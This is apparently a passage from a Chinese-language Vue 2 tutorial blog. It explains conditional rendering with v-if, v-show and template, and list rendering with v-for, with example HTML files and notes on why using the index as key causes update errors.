<h2 id="11-条件渲染"><a href="#11-条件渲染" class="headerlink" title="11.条件渲染"></a>11.条件渲染</h2><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-meta-keyword">html</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">html</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">charset</span>=<span class="hljs-string">&quot;UTF-8&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span>条件渲染<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span><br>    <span class="hljs-comment">&lt;!-- 引入 Vue --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span> <span class="hljs-attr">src</span>=<span class="hljs-string">&quot;../js/vue.js&quot;</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span><br><span class="hljs-comment">&lt;!-- 准备好一个容器 --&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;root&quot;</span>&gt;</span><br>    <span class="hljs-comment">&lt;!-- 使用 v-show 做条件渲染 --&gt;</span><br>    <span class="hljs-comment">&lt;!--&lt;h2 v-show=&quot;false&quot;&gt;01 欢迎来到&#123;&#123;name&#125;&#125;&lt;/h2&gt;</span><br><span class="hljs-comment">    &lt;h2 v-show=&quot;flag&quot;&gt;02 欢迎来到&#123;&#123;name&#125;&#125;&lt;/h2&gt;</span><br><span class="hljs-comment">    &lt;h2 v-show=&quot;1 === 1&quot;&gt;03 欢迎来到&#123;&#123;name&#125;&#125;&lt;/h2&gt;--&gt;</span><br><br>    <span class="hljs-comment">&lt;!-- 使用 v-if 做条件渲染 --&gt;</span><br>    <span class="hljs-comment">&lt;!--&lt;h2 v-if=&quot;false&quot;&gt;01 欢迎来到&#123;&#123;name&#125;&#125;&lt;/h2&gt;</span><br><span class="hljs-comment">    &lt;h2 v-if=&quot;flag&quot;&gt;02 欢迎来到&#123;&#123;name&#125;&#125;&lt;/h2&gt;</span><br><span class="hljs-comment">    &lt;h2 v-if=&quot;1 === 1&quot;&gt;03 欢迎来到&#123;&#123;name&#125;&#125;&lt;/h2&gt;--&gt;</span><br><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>当前 num：&#123;&#123;num&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">&quot;num++&quot;</span>&gt;</span>点我num+1<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span><br>    <span class="hljs-comment">&lt;!--&lt;div v-show=&quot;num === 1&quot;&gt;JavaSE&lt;/div&gt;</span><br><span class="hljs-comment">    &lt;div v-show=&quot;num === 2&quot;&gt;HTML、CSS、JS&lt;/div&gt;</span><br><span class="hljs-comment">    &lt;div v-show=&quot;num === 3&quot;&gt;mysql&lt;/div&gt;</span><br><span class="hljs-comment">    &lt;div v-show=&quot;num === 4&quot;&gt;JDBC&lt;/div&gt;</span><br><span class="hljs-comment">    &lt;div v-show=&quot;num === 5&quot;&gt;JavaWeb&lt;/div&gt;</span><br><span class="hljs-comment">    &lt;div v-show=&quot;num === 6&quot;&gt;MyBatis&lt;/div&gt;</span><br><span class="hljs-comment">    &lt;div v-show=&quot;num === 7&quot;&gt;CRM&lt;/div&gt;</span><br><span class="hljs-comment">    &lt;div v-show=&quot;num === 8&quot;&gt;Spring&lt;/div&gt;</span><br><span class="hljs-comment">    &lt;div v-show=&quot;num === 9&quot;&gt;SpringMVC&lt;/div&gt;</span><br><span class="hljs-comment">    &lt;div v-show=&quot;num === 10&quot;&gt;Vue&lt;/div&gt;--&gt;</span><br><br>    <span class="hljs-comment">&lt;!-- v-if 和 v-else-if 和 v-else 可以配合使用 --&gt;</span><br>    <span class="hljs-comment">&lt;!--&lt;div v-if=&quot;num === 1&quot;&gt;Angular&lt;/div&gt;</span><br><span class="hljs-comment">    &lt;div v-else-if=&quot;num === 2&quot;&gt;React&lt;/div&gt;</span><br><span class="hljs-comment">    &lt;div v-else&gt;Vue&lt;/div&gt;--&gt;</span><br><br>    <span class="hljs-comment">&lt;!-- v-if 和 templata 标签配合使用，templata 标签不会破坏模板结构 --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">template</span> <span class="hljs-attr">v-if</span>=<span class="hljs-string">&quot;num === 1&quot;</span>&gt;</span><br>        <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>你好<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span><br>        <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>尚硅谷<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span><br>        <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>北京<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span><br>    <span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br><br><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span>&gt;</span><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 设置为 false 以阻止 vue 在启动时生成生产提示。</span></span><br><span class="javascript">    Vue.config.productionTip = <span class="hljs-literal">false</span>;</span><br><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 创建 Vue 实例</span></span><br><span class="javascript">    <span class="hljs-keyword">new</span> Vue(&#123;</span><br><span class="javascript">        <span class="hljs-attr">el</span>: <span class="hljs-string">&#x27;#root&#x27;</span>,</span><br><span class="javascript">        <span class="hljs-attr">data</span>: &#123;</span><br><span class="javascript">            <span class="hljs-attr">name</span>: <span class="hljs-string">&quot;尚硅谷&quot;</span>,</span><br><span class="javascript">            <span class="hljs-attr">flag</span>: <span class="hljs-literal">true</span>,</span><br><span class="javascript">            <span class="hljs-attr">num</span>: <span class="hljs-number">0</span></span><br><span class="javascript">        &#125;</span><br><span class="javascript">    &#125;);</span><br><span class="javascript"></span><br><span class="javascript"></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br><br><span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span><br></code></pre></td></tr></table></figure>

<p>使用 <code>v-show</code></p>
<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210801/image.sb7t5cp1ow0.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<p>使用 <code>v-if</code></p>
<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210801/image.778c3axdijc0.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<p>使用 <code>&lt;templata&gt;</code> 标签</p>
<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210801/image.37qtd80764w0.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<blockquote>
<p>总结条件渲染：</p>
<ol>
<li><p><code>v-if</code>：</p>
<ul>
<li><p>写法：（1）<code>v-if=&quot;表达式&quot;</code> （2）<code>v-else-if=&quot;表达式&quot;</code> （3）<code>v-else</code> </p>
</li>
<li><p>使用于：频率切换较低的场景。</p>
</li>
<li><p>特点：不展示的 DOM 元素直接被移除。</p>
</li>
<li><p>注意：<code>v-if</code> 可以和 <code>v-else-if</code>、<code>v-else</code> 一起使用，但要求结构不能被打断。</p>
</li>
</ul>
</li>
<li><p><code>v-show</code>：</p>
<ul>
<li>写法：<code>v-show=&quot;表达式&quot;</code></li>
<li>适用于：切换频率较高的常见。</li>
<li>特点：不展示的 DOM 元素未被移除，仅仅是使用样式隐藏掉了。</li>
</ul>
</li>
<li><p>备注：使用 <code>v-if=&quot;false&quot;</code> 后，元素可能无法被获取到，因为 DOM 元素被移除掉了，而使用 <code>v-show=&quot;false&quot;</code> 后一定可以获取到元素。</p>
</li>
</ol>
</blockquote>
<h2 id="12-列表渲染"><a href="#12-列表渲染" class="headerlink" title="12.列表渲染"></a>12.列表渲染</h2><h3 id="12-1-基本列表"><a href="#12-1-基本列表" class="headerlink" title="12.1 基本列表"></a>12.1 基本列表</h3><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-meta-keyword">html</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">html</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">charset</span>=<span class="hljs-string">&quot;UTF-8&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span>基本列表<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span><br>    <span class="hljs-comment">&lt;!-- 引入 Vue --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span> <span class="hljs-attr">src</span>=<span class="hljs-string">&quot;../js/vue.js&quot;</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span><br><span class="hljs-comment">&lt;!-- 准备好一个容器 --&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;root&quot;</span>&gt;</span><br>    <span class="hljs-comment">&lt;!-- 编历数组 --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>人员列表（编历数组）<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">ul</span>&gt;</span><br>        <span class="hljs-comment">&lt;!-- v-for 里面可以接受两个参数，一个是对象，一个是该对象在数组中的索引值，由于索引值肯定不一致，所以可以用作 key 的值 --&gt;</span><br>        <span class="hljs-tag">&lt;<span class="hljs-name">li</span> <span class="hljs-attr">v-for</span>=<span class="hljs-string">&quot;(person,index) in persons&quot;</span> <span class="hljs-attr">:key</span>=<span class="hljs-string">&quot;index&quot;</span>&gt;</span><br>            &#123;&#123;index+1&#125;&#125;-&#123;&#123;person.name&#125;&#125;-&#123;&#123;person.age&#125;&#125;<br>        <span class="hljs-tag">&lt;/<span class="hljs-name">li</span>&gt;</span><br>    <span class="hljs-tag">&lt;/<span class="hljs-name">ul</span>&gt;</span><br><br>    <span class="hljs-comment">&lt;!-- 编历对象 --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>汽车信息（编历对象）<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">ul</span>&gt;</span><br>        <span class="hljs-comment">&lt;!-- v-for 里面可以接受两个参数，一个是 value，一个是 key --&gt;</span><br>        <span class="hljs-tag">&lt;<span class="hljs-name">li</span> <span class="hljs-attr">v-for</span>=<span class="hljs-string">&quot;(value,key) in car&quot;</span>&gt;</span><br>            &#123;&#123;key&#125;&#125;-&#123;&#123;value&#125;&#125;<br>        <span class="hljs-tag">&lt;/<span class="hljs-name">li</span>&gt;</span><br>    <span class="hljs-tag">&lt;/<span class="hljs-name">ul</span>&gt;</span><br><br>    <span class="hljs-comment">&lt;!-- 编历字符串 --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>编历字符串<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">ul</span>&gt;</span><br>        <span class="hljs-comment">&lt;!-- v-for 里面可以接受两个参数，一个是字符，一个是该字符的索引 --&gt;</span><br>        <span class="hljs-tag">&lt;<span class="hljs-name">li</span> <span class="hljs-attr">v-for</span>=<span class="hljs-string">&quot;(char,index) in str&quot;</span>&gt;</span><br>            &#123;&#123;index&#125;&#125;-&#123;&#123;char&#125;&#125;<br>        <span class="hljs-tag">&lt;/<span class="hljs-name">li</span>&gt;</span><br>    <span class="hljs-tag">&lt;/<span class="hljs-name">ul</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br><br><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span>&gt;</span><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 设置为 false 以阻止 vue 在启动时生成生产提示。</span></span><br><span class="javascript">    Vue.config.productionTip = <span class="hljs-literal">false</span>;</span><br><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 创建 Vue 实例</span></span><br><span class="javascript">    <span class="hljs-keyword">new</span> Vue(&#123;</span><br><span class="javascript">        <span class="hljs-attr">el</span>: <span class="hljs-string">&#x27;#root&#x27;</span>,</span><br><span class="javascript">        <span class="hljs-attr">data</span>: &#123;</span><br><span class="javascript">            <span class="hljs-attr">persons</span>: [</span><br><span class="javascript">                &#123;<span class="hljs-attr">id</span>: <span class="hljs-string">&#x27;001&#x27;</span>, <span class="hljs-attr">name</span>: <span class="hljs-string">&#x27;张三&#x27;</span>, <span class="hljs-attr">age</span>: <span class="hljs-number">18</span>&#125;,</span><br><span class="javascript">                &#123;<span class="hljs-attr">id</span>: <span class="hljs-string">&#x27;002&#x27;</span>, <span class="hljs-attr">name</span>: <span class="hljs-string">&#x27;李四&#x27;</span>, <span class="hljs-attr">age</span>: <span class="hljs-number">20</span>&#125;,</span><br><span class="javascript">                &#123;<span class="hljs-attr">id</span>: <span class="hljs-string">&#x27;003&#x27;</span>, <span class="hljs-attr">name</span>: <span class="hljs-string">&#x27;王五&#x27;</span>, <span class="hljs-attr">age</span>: <span class="hljs-number">22</span>&#125;</span><br><span class="javascript">            ],</span><br><span class="javascript">            <span class="hljs-attr">car</span>:&#123;</span><br><span class="javascript">                <span class="hljs-attr">name</span>:<span class="hljs-string">&#x27;奥迪A8&#x27;</span>,</span><br><span class="javascript">                <span class="hljs-attr">price</span>:<span class="hljs-string">&#x27;70万&#x27;</span>,</span><br><span class="javascript">                <span class="hljs-attr">color</span>:<span class="hljs-string">&#x27;黑色&#x27;</span></span><br><span class="javascript">            &#125;,</span><br><span class="javascript">            <span class="hljs-attr">str</span>:<span class="hljs-string">&#x27;hello&#x27;</span></span><br><span class="javascript">        &#125;</span><br><span class="javascript">    &#125;);</span><br><span class="javascript"></span><br><span class="javascript"></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br><br><span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span><br></code></pre></td></tr></table></figure>

<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210802/image.6yny2tkwiuc0.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<blockquote>
<p>总结 <code>v-for</code>：</p>
<ol>
<li>用于展示列表数据。</li>
<li>语法：<code>v-for=&quot;(item, index) in xxx&quot; :key=&quot;yyy&quot;</code>。</li>
<li>可编历：数组、对象、字符串（用得少）、指定次数（用的少）。</li>
</ol>
</blockquote>
<h3 id="12-2-key-的原理"><a href="#12-2-key-的原理" class="headerlink" title="12.2 key 的原理"></a>12.2 key 的原理</h3><p><code>key</code> 为当前 dom 元素的唯一表示，在存在 Vue 的虚拟 dom 中，是 Vue 进行 dom 对比是的标志，只要两个 key 不同，即不同，不会再比较其他，相同时，才会继续比较其他。</p>
<p><strong>首先使用 index 作为 key</strong></p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-meta-keyword">html</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">html</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">charset</span>=<span class="hljs-string">&quot;UTF-8&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span>key的原理<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span><br>    <span class="hljs-comment">&lt;!-- 引入 Vue --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span> <span class="hljs-attr">src</span>=<span class="hljs-string">&quot;../js/vue.js&quot;</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span><br><span class="hljs-comment">&lt;!-- 准备好一个容器 --&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;root&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click.once</span>=<span class="hljs-string">&quot;add&quot;</span>&gt;</span>添加一个人员<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span><br>    <span class="hljs-comment">&lt;!-- 编历数组 --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>人员列表（编历数组）<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">ul</span>&gt;</span><br>        <span class="hljs-tag">&lt;<span class="hljs-name">li</span> <span class="hljs-attr">v-for</span>=<span class="hljs-string">&quot;(person,index) in persons&quot;</span> <span class="hljs-attr">:key</span>=<span class="hljs-string">&quot;index&quot;</span>&gt;</span><br>            &#123;&#123;index+1&#125;&#125;-&#123;&#123;person.name&#125;&#125;-&#123;&#123;person.age&#125;&#125;<br>            <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text&quot;</span>&gt;</span><br>        <span class="hljs-tag">&lt;/<span class="hljs-name">li</span>&gt;</span><br>    <span class="hljs-tag">&lt;/<span class="hljs-name">ul</span>&gt;</span><br><br><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br><br><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span>&gt;</span><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 设置为 false 以阻止 vue 在启动时生成生产提示。</span></span><br><span class="javascript">    Vue.config.productionTip = <span class="hljs-literal">false</span>;</span><br><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 创建 Vue 实例</span></span><br><span class="javascript">    <span class="hljs-keyword">new</span> Vue(&#123;</span><br><span class="javascript">        <span class="hljs-attr">el</span>: <span class="hljs-string">&#x27;#root&#x27;</span>,</span><br><span class="javascript">        <span class="hljs-attr">data</span>: &#123;</span><br><span class="javascript">            <span class="hljs-attr">persons</span>: [</span><br><span class="javascript">                &#123;<span class="hljs-attr">id</span>: <span class="hljs-string">&#x27;001&#x27;</span>, <span class="hljs-attr">name</span>: <span class="hljs-string">&#x27;张三&#x27;</span>, <span class="hljs-attr">age</span>: <span class="hljs-number">18</span>&#125;,</span><br><span class="javascript">                &#123;<span class="hljs-attr">id</span>: <span class="hljs-string">&#x27;002&#x27;</span>, <span class="hljs-attr">name</span>: <span class="hljs-string">&#x27;李四&#x27;</span>, <span class="hljs-attr">age</span>: <span class="hljs-number">20</span>&#125;,</span><br><span class="javascript">                &#123;<span class="hljs-attr">id</span>: <span class="hljs-string">&#x27;003&#x27;</span>, <span class="hljs-attr">name</span>: <span class="hljs-string">&#x27;王五&#x27;</span>, <span class="hljs-attr">age</span>: <span class="hljs-number">22</span>&#125;</span><br><span class="javascript">            ]</span><br><span class="javascript">        &#125;,</span><br><span class="javascript">        <span class="hljs-attr">methods</span>: &#123;</span><br><span class="javascript">            <span class="hljs-function"><span class="hljs-title">add</span>(<span class="hljs-params"></span>)</span> &#123;</span><br><span class="javascript">                <span class="hljs-keyword">const</span> p = &#123;<span class="hljs-attr">id</span>: <span class="hljs-string">&#x27;004&#x27;</span>, <span class="hljs-attr">name</span>: <span class="hljs-string">&#x27;赵六&#x27;</span>, <span class="hljs-attr">age</span>: <span class="hljs-number">24</span>&#125;;</span><br><span class="javascript">                <span class="hljs-built_in">this</span>.persons.unshift(p);</span><br><span class="javascript">            &#125;</span><br><span class="javascript">        &#125;</span><br><span class="javascript">    &#125;);</span><br><span class="javascript"></span><br><span class="javascript"></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br><br><span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span><br></code></pre></td></tr></table></figure>

<p>添加一个人员到数组的顶部，发现数据发生了错乱</p>
<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210802/image.2x4dqicmdfa0.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<p><a target="_blank" rel="noopener" href="https://www.bilibili.com/video/BV1Zy4y1K7SH?p=30">原理解释，时间 10:23</a>  </p>
<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210802/%E7%BC%96%E5%8E%86%E5%88%97%E8%A1%A8%E6%97%B6key%E4%BD%BF%E7%94%A8index.59hb1oad5ps0.png" srcset="/img/loading.gif" lazyload alt="编历列表时key使用index"></p>
<p>==当 key 没有写时， Vue 是会将 index 默认为 key，所以情况是一样的。==</p>
<p><strong>现在使用数据的 id 作为 key</strong></p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-tag">&lt;<span class="hljs-name">ul</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">li</span> <span class="hljs-attr">v-for</span>=<span class="hljs-string">&quot;(person,index) in persons&quot;</span> <span class="hljs-attr">:key</span>=<span class="hljs-string">&quot;person.id&quot;</span>&gt;</span><br>        &#123;&#123;index+1&#125;&#125;-&#123;&#123;person.name&#125;&#125;-&#123;&#123;person.age&#125;&#125;<br>        <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;/<span class="hljs-name">li</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">ul</span>&gt;</span><br></code></pre></td></tr></table></figure>

<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210802/image.1fprucovgutc.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<p><a target="_blank" rel="noopener" href="https://www.bilibili.com/video/BV1Zy4y1K7SH?p=30">原理解释，时间 22:55</a></p>
<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210802/%E7%BC%96%E5%8E%86%E5%88%97%E8%A1%A8%E6%97%B6key%E4%BD%BF%E7%94%A8%E5%94%AF%E4%B8%80%E6%A0%87%E8%AF%86.63qpnilx3kw0.png" srcset="/img/loading.gif" lazyload alt="编历列表时key使用唯一标识"></p>
<blockquote>
<p>总结 key：</p>
<ol>
<li>虚拟 <code>DOM</code> 中 <code>key</code> 的作用：key 是虚拟 DOM 对象的标识，当数据发生变化的时候，Vue 会根据 <strong>新数据</strong> 生成 <strong>新的虚拟 DOM</strong>，随后 Vue 会进行 <strong>新的虚拟 DOM</strong> 和 **旧的虚拟 DOM ** 比较。</li>
<li>对比规则：<ul>
<li><strong>旧的虚拟 DOM</strong> 中找到了与<strong>新的虚拟 DOM</strong> 相同的 <code>key</code>：<ol>
<li>如果虚拟 DOM 中的<strong>内容没有发生改变</strong>，则直接使用之前旧的虚拟 DOM 生成的真实 DOM，不会再生成一遍真实 DOM 对象。</li>
<li>如果虚拟 DOM 中的<strong>内容改变了</strong>，则会将改变的部分生成新的真实 DOM，随后替换掉页面中之前的改变了的真实 DOM，为改变的不修改。</li>
</ol>
</li>
<li><strong>旧的虚拟 DOM</strong> 中没有找到了与<strong>新的虚拟 DOM</strong> 相同的 <code>key</code>：<ul>
<li>直接创建新的真实 DOM，随后渲染到页面。</li>
</ul>
</li>
</ul>
</li>
<li>使用 <code>index</code> 作为 <code>key</code> 可能会引发的问题：<ol>
<li>若对数据进行逆序添加、逆序删除等会破坏顺序的操作，会产生没有必要的真实 DOM  更新，界面效果没有问题，但是会降低效率（所有 DOM 都是新生成的）</li>
<li>如果结构中还包含了输入类的 DOM，会产生错误的 DOM 更新，导致界面出现问题。</li>
</ol>
</li>
<li>开发中如何选择 <code>key</code>：<ul>
